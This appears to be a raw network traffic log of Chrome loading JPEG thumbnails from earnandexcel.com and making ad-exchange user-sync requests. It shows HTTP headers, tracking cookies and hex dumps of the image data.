2024-04-11 21:27:01 UTC	1328	IN	HTTP/1.1 302 Found Connection: close P3P: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Accept-CH: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version CW-Server: bh-deployment-stage-0 Cache-Control: private, max-age=0, no-cache, no-store Expires: -1 Content-Language: en-US Set-Cookie: V=8CYd5xB94ljT;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 06-Apr-2025 21:27:01 GMT;Max-Age=31104000;SameSite=None Set-Cookie: VP=part_8CYd5xB94ljT;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31104000;Secure;Expires=Sun, 06-Apr-2025 21:27:01 GMT;SameSite=None;Partitioned Set-Cookie: pb_rtb_ev=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741\|7bq.0.1;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Fri, 11-Apr-2025 21:27:01 GMT;Max-Age=31536000;SameSite=None Set-Cookie: pb_rtb_ev_part=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741\|7bq.0.1;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31536000;Secure;Expires=Fri, 11-Apr-2025 21:27:01 GMT;SameSite=None;Partitioned Location: https://rtb.gumgum.com/usersync?b=pln&i=8CYd5xB94ljT&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 Server: Jetty(10.0.14) Strict-Transport-Security: max-age=15768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.17	50169	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	2349	OUT	GET /wp-content/uploads/Power-BI-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:02 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/jpeg Content-Length: 16586 Connection: close CF-Ray: 872e0eec48be8c59-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-40ca" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2lcfmOiOAb0ccHFaF0ws7UIDj8mUcXWo1Xhqe5mJn2WKiYL%2BvxXXEiNZ8tWEnF9PMMTTSIxzEujEZ1AsvnXTCC1H39Ih4yX%2FTVlyTR2TZbyBwJvMA%2FMPLcbNQrZq%2BjDhbpI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:02 UTC	462	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 02 05 06 07 01 03 04 08 ff c4 00 55 10 00 01 03 02 02 04 07 0a 09 08 07 08 02 03 00 00 01 00 02 03 04 11 05 21 06 07 12 31 13 17 41 51 91 92 d1 14 15 16 22 52 54 61 71 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"U!1AQ"RTaq
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 6a ba cb 4a d4 e7 59 61 b2 5b 95 7a 1a 4b 51 e7 6b 4b 59 b9 c7 7a e7 7b b3 59 74 a3 9d 69 73 c5 d2 b2 f9 59 8d 17 f3 1a e4 3e 31 5a ca 53 cf 8c 52 0a f3 52 7f 33 3d 1c 17 ca 84 12 b5 39 6d 21 20 85 b6 13 35 54 8d ce 59 59 7b ae 29 a3 de 9c dc cc 97 3c 91 5e eb a3 46 a9 ce af 46 e3 25 44 04 82 9b 25 84 c6 49 e4 52 39 60 bd d7 05 4d 30 70 21 76 30 d5 ec 79 9c c3 03 a4 ae b6 8d 6c 2b 73 5c b5 49 11 89 d6 29 4d 72 ec 53 9d d1 e5 aa 41 c5 d9 9b da 52 96 a6 94 b0 e5 b9 1a 1a 16 0a 50 39 24 5d 64 14 31 12 45 9c b6 c4 b5 bf 9d 2e 37 59 64 83 d6 87 6c 29 9b 53 82 40 c9 4c e9 23 6b a2 17 22 e1 40 e9 2a 0c 52 07 05 2a c2 eb 5c f1 6e 45 cc cc 29 c9 fc c8 ee e4 95 20 93 83 da 3c 16 31 a9 05 ed 03 20 b1 b5 fb 49 04 b7 9d 71 d2 de 7a 4d 1d c6 89 e6 23 72 d0 1c 5c ba 25 Data Ascii: jJYa[zKQkKYz{YtisY>1ZSRR3=9m! 5TYY{)<^FF%D%IR9`M0p!v0yl+s\I)MrSARP9$]d1E.7Ydl)S@L#k"@R\nE) <1 IqzM#r\%
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 23 49 f1 9d dd f2 a9 f6 87 b5 64 e9 4e 34 c6 39 c3 11 ab 71 03 e0 b6 43 73 f7 ac b4 d1 ae 39 5c 93 da 5e fb 5b 2d 5a 5f 38 17 cd 51 4d d3 4c 7a df d2 e2 3e d0 a5 8d 33 c7 39 64 c4 3a eb 05 38 7f c8 db 3c b6 b3 56 4d 7d cb a5 f5 8c 00 9b dd 71 4d 50 e9 4e 7b b9 95 4a dd 35 c6 db cb 58 7d 65 6f 87 4c f1 b7 b4 b8 ca e8 c8 36 d9 7b 47 62 df 4e b5 34 f5 1c ea d9 2e 26 4b 5c 95 8b 45 93 96 6e 5d f4 cf db 00 e6 aa 68 f4 e7 19 8c fc 38 9d eb 63 7b 17 6c 1a cc c6 62 16 31 d3 3a dc ec ec 51 52 aa 92 b2 32 c2 65 35 69 4a f3 6a c5 b9 0b 72 5d d4 35 33 50 54 32 78 4d 9e d3 7f 5a a8 a1 d6 ee 25 1f c3 a1 a3 77 a8 38 7f 15 df 4d ae 8b 3d a2 a7 0a 6e c5 fc 67 46 f3 71 d2 b9 38 8a 53 9a b7 61 e9 f0 8e 34 f5 f6 9e 8b c3 34 c6 82 a2 30 2a 8b a0 90 6f ca e0 ac e3 3a 4f 46 fa Data Ascii: #IdN49qCs9\^[-Z_8QMLz>39d:8<VM}qMPN{J5X}eoL6{GbN4.&K\En]h8c{lb1:QR2e5iJjr]53PT2xMZ%w8M=ngFq8Sa440*o:OF
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 51 af 51 2a 8d 1d 1c 3d 3f e9 a3 2d 6a 58 6a 53 5a b6 06 2d 4a aa 37 aa 66 b0 d4 a0 16 c0 c5 90 c5 97 2c 89 e4 98 ba 49 78 17 e7 f0 4e f4 eb 18 db 17 6e 7e a4 d2 18 96 dd b6 82 03 9c 07 a0 ad 53 9a 7a ee 6e a6 9c 75 12 0d 1a ac e1 69 36 09 cc 27 72 45 94 17 47 2b dd 16 60 e4 a4 9d dc f9 85 81 b7 a9 71 e1 55 68 d8 b7 17 d8 37 63 94 fd d7 51 b4 c7 64 dc 82 64 75 24 8c 77 8c db 80 a4 ef 65 c5 d7 33 a1 04 9c 95 4a 91 6d dc c9 6a 18 08 21 22 4f e8 dc 9e 65 a2 6b af 92 6f aa a1 70 04 30 aa b2 94 a3 b4 b0 ac d0 d6 5c 90 4a d9 2c 2f 8f e1 34 ae 67 3c 0e 55 af 9c 12 a9 5f 61 97 1c 93 0e 95 7e 83 c4 7f c3 4b ee 94 f8 4d c2 62 d2 cf d0 38 8f f8 69 7d d2 bb 99 6c f4 99 cb c7 c2 d1 67 97 da 6c e2 ac 0d 4e 3a fa 4d 0f ad de e9 55 e8 3b d5 81 a9 93 7d 27 87 d6 ef 70 ae Data Ascii: QQ*=?-jXjSZ-J7f,IxNn~Sznui6'rEG+`qUh7cQddu$we3Jmj!"Oekop0\J,/4g<U_a~KMb8i}lglN:MU;}'p
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 00 e8 4a ef 4c 3e 40 e8 5c 77 96 c5 9b 39 79 2e d2 be 86 1a e0 2d 23 8d c7 28 09 6e 86 b9 c3 65 8e 20 73 90 a7 6e c2 21 3f 20 2c 77 a6 21 c8 b5 bc a6 0c c9 62 a6 42 19 45 5b 6f e9 0a c3 b0 ea d7 1c de 54 e4 61 91 8f 92 94 30 e8 f7 58 28 59 44 51 9a c5 c9 10 88 30 6a a7 3b 68 c8 eb 27 8a 3c 2a 73 6b b8 e4 a4 91 d0 c6 c3 b8 2e a8 e9 e3 6e e0 02 c6 79 4a 36 c7 1a ce 5c 3a 85 cc 68 b9 2b 97 4b 9b b1 a3 f8 8f f8 69 3d d2 9f 5a e6 31 bc 89 83 4c 25 0e c0 31 20 3c d6 4f 74 ae ee 59 45 52 b2 38 99 9c 9d 48 b6 79 3d fb d5 83 a9 6f 8c f0 fa dd ee 15 5e 93 99 56 16 a5 be 33 43 eb 77 b8 57 47 3b fd be bf f0 97 a3 39 59 7f ea 69 f9 af 53 d0 28 42 17 e7 53 e9 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 00 21 08 40 08 42 10 02 Data Ascii: JL>@\w9y.-#(ne sn!? ,w!bBE[oTa0X(YDQ0j;h'<*sk.nyJ6\:h+Ki=Z1L%1 <OtYER8Hy=o^V3CwWG;9YiS(BS!!@B!!@B!!@B
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: b9 ab 37 74 fb bb 7f da 35 aa f1 7f f6 f2 50 84 21 73 4d c0 84 21 00 21 08 40 08 42 10 02 10 84 00 84 21 01 5f 6b a3 2d 1e 83 eb 1d ee 95 e7 c2 57 a0 f5 d3 f1 7a 0f ac 77 ba bc f8 77 af b7 fc 15 fb 4c 3c df ab 3c 36 7b fa b7 e4 8b 93 54 12 6c e8 94 a6 fb aa 9f f8 35 4c 45 63 b6 ac 2e a2 1a 92 a7 e1 b4 26 73 cd 54 ff 00 75 aa 5f 25 37 06 c2 57 7e 2a 55 1b 35 c6 31 8c 52 b1 bd b5 79 7c 3b 2c 9a bb 7e b0 26 98 dd c2 19 1b b5 62 06 49 8a 7c 73 81 95 d1 97 e6 0d 8a ad 51 ce 0e cc da 94 1a 26 06 b0 7d 22 53 1d 2c bf 02 e5 44 70 ec 54 55 d4 b6 30 fb 92 55 89 83 51 6d 30 12 d4 52 94 8d 73 94 22 36 70 55 3e 4b 96 44 55 3e 4b 94 ca 3c 2d ae 6d f6 50 70 96 f9 2b 64 69 c9 f6 95 e5 5e dd 84 9a 60 5b 7f 14 a8 b6 98 ca 05 3c 0c 3f 08 b8 95 33 9e bb 0d 11 17 99 6f 6f 92 Data Ascii: 7t5P!sM!!@B!_k-WzwwL<<6{Tl5LEc.&sTu_%7W~*U51Ry\|;,~&bI\|sQ&}"S,DpTU0UQm0Rs"6pU>KDU>K<-mPp+di^`[<?3oo
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: d6 db 14 f6 39 86 3b 46 30 9c 07 48 a3 c7 25 c4 ea 62 74 3c 15 05 63 84 8d f1 80 f8 03 90 85 28 95 c5 fa e6 a0 79 69 69 76 14 49 1c db d4 83 0e d5 de 8b 61 55 4c aa a5 c2 21 6c d1 9b b1 cf 2e 7e c9 e7 01 c4 a7 47 60 38 73 f1 96 63 4e a7 06 bd 91 70 2d 9b 68 e4 ce 6b 5e ca e5 7c de 8c ee b5 b7 a3 25 76 92 fc db 15 93 d8 b7 ed d6 6a 86 1e 4b ee b8 1d e8 42 17 9b 2e 82 10 84 00 84 21 00 21 08 40 08 42 10 02 10 84 05 7b ae 9f 8b d0 7d 63 bd d2 bc fa 5c 01 5e 83 d7 47 c5 e8 3e b1 de e9 5e 7a 93 25 f6 ff 00 82 bf 69 87 9b f5 3c 36 7b fa b7 e4 8b db 50 f1 81 a1 35 80 9b da ad c3 ff 00 16 a9 7d 6b 47 73 3a ca 21 a8 97 5b 42 eb bf c6 3b dc 6a 93 d7 54 5a 9d c0 0b 95 ea 30 8b e6 97 99 a1 bf 96 37 dc 43 ea 71 49 29 aa 25 63 40 39 15 55 e9 0e 3f 56 dc 62 a3 60 80 2e Data Ascii: 9;F0H%bt<c(yiivIaUL!l.~G`8scNp-hk^\|%vjKB.!!@B{}c\^G>^z%i<6{P5}kGs:![B;jTZ07CqI)%c@9U?Vb`.
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 1e 4a b6 2e a7 28 d2 63 fe 1d a5 53 f0 c2 ed 6e ca 99 53 e2 cf 96 10 e0 e0 32 55 7d 19 b4 8a 59 87 54 91 4e 05 f7 2d 15 70 f1 6a e6 cc 3e 61 56 13 d1 93 ba 1f a7 c4 9e 1a 7c 75 aa 0a 99 24 0e 25 c5 37 07 97 8c d3 8d 0c 47 64 e4 b4 28 a8 22 da af 3a b2 bd c7 cb e4 9a 71 67 1e 09 c9 d0 ee 4d 58 af f4 6e 5c fa 7b 4b d5 bf 2b 22 31 ff 00 5f 19 f2 a9 ae 18 6d 18 50 c8 db f9 dd fd 2a 5d 87 38 88 c0 f4 2b 75 9d d2 39 98 08 e8 b9 0e 6f 7f 88 73 51 ec 5e 40 03 93 c4 92 1d 92 a3 58 dc c4 02 a2 82 d6 6e c7 54 b5 36 71 e1 cf bc e7 d6 a5 d4 6e fc 9f d8 a1 38 6b cf 74 85 32 a2 3e 27 d8 b6 62 76 95 72 b9 7c 87 36 26 7c 47 28 06 92 f8 b8 66 25 f5 0f fc 0a 9f 62 5f 05 ca 03 a5 1f a2 b1 1f a8 7f e0 54 61 de d3 3c 66 b9 c3 cd 7a 94 e3 37 05 64 ea 77 f4 f4 3f bc 7d d2 ab 76 Data Ascii: J.(cSnS2U}YTN-pj>aV\|u$%7Gd(":qgMXn\{K+"1_mP*]8+u9osQ^@XnT6qn8kt2>'bvr\|6&\|G(f%b_Ta<fz7dw?}v
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 0e bb bb 13 a9 99 b7 87 c5 7b 8e 99 c2 77 b8 32 dc 42 a8 f8 fa 8f cc 60 eb bb b1 1c 7d c5 e6 30 75 dd d8 9d 4d cd 7c 3e 2b dc 9e 99 c2 77 b8 32 dc 42 a8 f8 fa 8b cc 60 eb bb b1 63 8f b8 bc c6 0e bb bb 14 75 37 35 f0 f8 af 71 d3 18 4e f7 06 5b a8 55 17 1f 71 79 8c 1d 77 76 23 8f c8 bc c6 0e bb bb 13 a9 b9 af 86 be eb dc 74 c6 13 bd c1 96 ea 15 45 c7 e4 5e 63 07 5d dd 88 e3 f2 2f 32 83 ae ee c4 ea 6e 6b e1 f1 5e e3 a6 30 9d ee 0c b7 50 aa 1e 3f 62 f3 18 3a ee ec 40 d7 ec 47 e6 30 75 dd d8 9d 4d cd 7c 35 f7 5e e3 a6 30 bd ee 0c b7 90 aa 2e 3f 22 f3 18 3a ee ec 47 1f b0 f9 8c 3d 77 76 27 53 73 5f 0d 7d d7 b8 e9 8c 27 7b 83 2d d4 2a 87 8f d8 7c c6 1e bb bb 11 c7 ec 3e 63 0f 5d dd 89 d4 dc d7 c3 5f 75 ee 3a 63 0b de e0 cb 79 0a a1 e3 f6 1f 31 87 ae ee c5 9e 3f Data Ascii: {w2B`}0uM\|>+w2B`cu75qN[Uqywv#tE^c]/2nk^0P?b:@G0uM\|5^0.?":G=wv'Ss_}'{-*\|>c]_u:cy1?
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: b8 96 e6 05 9d ca 55 cc 3e 3a 75 1e 8e cb 95 6b 65 54 a1 f3 ed b6 b2 94 c4 34 56 42 c3 2e 19 8a 53 54 34 fe ae 5b 35 dd 3b 94 52 ad 98 95 14 a6 2a 88 36 1c 3d 17 07 ed 5b 19 89 62 0c 71 01 8d 21 2a 4c 6e 66 0b 4f 0b 0f ac ad b0 ba d5 2a 8d 9b e5 77 ae 34 d7 dc 99 ea 8b 42 e1 d3 6a fa f6 e2 13 4d 04 74 b1 35 cd e0 83 73 2e 3c b7 07 99 5a 47 52 78 2b bf b4 2b 7a b1 ff 00 2a 83 ea 47 4c 28 30 c3 8c c9 54 c6 b0 b9 b0 db c7 0d 16 1b 5c fe b5 62 bb 5b 78 03 5c 40 7c 27 ff 00 d9 6a a9 5a b3 53 69 4a e5 8a 74 53 8a 72 47 19 d4 8e 0c 7f b4 6b 7a b1 ff 00 2a c7 12 78 28 16 ef 85 77 56 3f e5 5d 92 6b 7b 04 8c d9 fc 03 72 dc ea 80 0f e0 b5 f1 c5 81 bb 26 9a 63 7e 6a 96 9f e0 b5 72 d2 de 65 c8 c3 72 39 b8 95 c1 47 cf eb ba 23 fe 54 9e 25 b0 4c ff 00 3e ae ff 00 d7 fc Data Ascii: U>:ukeT4VB.ST4[5;R6=[bq!LnfOw4BjMt5s.<ZGRx++zGL(0T\b[x\@\|'jZSiJtSrGkz*x(wV?]k{r&c~jrer9G#T%L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.17	50145	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	1283	OUT	GET /usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=ce1d1685-fcc3-0bce-20aa-55465b454e74 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:01 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.17	50171	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	2362	OUT	GET /wp-content/uploads/Excel-Tools-Templates-2-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:02 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/jpeg Content-Length: 24985 Connection: close CF-Ray: 872e0eec5f3643a7-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ed-6199" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:21 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2arxxeG3nNyBpr1Vsf5vOx2EzT5ee2eb7%2B%2FOw6DXUNKkxZyFSYVNiPC3hd%2Fmlv7IgQqCihd2sEVRBvQJCT3DCAO0neldWxubBsRkw0cdOIXhvLxkzoKGuWuxMy1Aq23z6Rg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:02 UTC	464	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c2 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 04 05 06 03 07 ff c4 00 1a 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 d8 92 78 63 4d 02 48 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"xcMH
